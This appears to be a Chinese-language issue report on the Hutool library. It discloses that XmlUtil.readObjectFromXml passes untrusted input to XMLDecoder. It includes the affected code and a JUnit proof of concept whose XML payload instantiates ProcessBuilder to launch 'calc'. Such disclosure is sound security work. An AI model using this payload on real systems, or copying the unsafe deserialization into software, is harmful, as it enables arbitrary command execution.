XmlUtil 反序列化漏洞

删除的代码  **readObjectFromXml** 
```
package org.dromara.hutool.core;

import org.dromara.hutool.core.io.IoUtil;
import org.dromara.hutool.core.io.file.FileUtil;
import org.dromara.hutool.core.text.StrUtil;
import org.dromara.hutool.core.xml.XmlUtil;
import org.junit.jupiter.api.Test;
import org.xml.sax.InputSource;

import java.beans.XMLDecoder;
import java.io.File;

/**
 * 描述信息
 *
 * @author dazer
 * @date 2024/2/20 14:12
 **/
public class XmlUtilsTest extends XmlUtil {
	// ---------------------------------------------------------------------------------------- Private method end

/**
	 * 从XML中读取对象 Reads serialized object from the XML file.
	 *
	 * @param <T>    对象类型
	 * @param source XML文件
	 * @return 对象
	 */
	public static <T> T readObjectFromXml(final File source) {
		return readObjectFromXml(new InputSource(FileUtil.getInputStream(source)));
	}

/**
	 * 从XML中读取对象 Reads serialized object from the XML file.
	 *
	 * @param <T>    对象类型
	 * @param xmlStr XML内容
	 * @return 对象
	 * @since 3.2.0
	 */
	public static <T> T readObjectFromXml(final String xmlStr) {
		return readObjectFromXml(new InputSource(StrUtil.getReader(xmlStr)));
	}

/**
	 * 从XML中读取对象 Reads serialized object from the XML file.
	 *
	 * @param <T>    对象类型
	 * @param source {@link InputSource}
	 * @return 对象
	 * @since 3.2.0
	 */
	@SuppressWarnings("unchecked")
	public static <T> T readObjectFromXml(final InputSource source) {
		Object result;
		XMLDecoder xmldec = null;
		try {
			xmldec = new XMLDecoder(source);
			result = xmldec.readObject();
		} finally {
			IoUtil.closeQuietly(xmldec);
		}
		return (T) result;
	}

@Test
	public void  test() {
		XmlUtil.readObjectFromXml("<java>\n" +
			"    <object class=\"java.lang.ProcessBuilder\">\n" +
			"        <array class=\"java.lang.String\" length=\"1\">\n" +
			"            <void index=\"0\">\n" +
			"                <string>calc</string>\n" +
			"            </void>\n" +
			"        </array>\n" +
			"        <void method=\"start\"></void>\n" +
			"    </object>\n" +
			"</java>\n");
	}
}

```

GVP chinabugotech/hutool

Content Risk Flag

Comments (13)

GVPchinabugotech/hutool

Content Risk Flag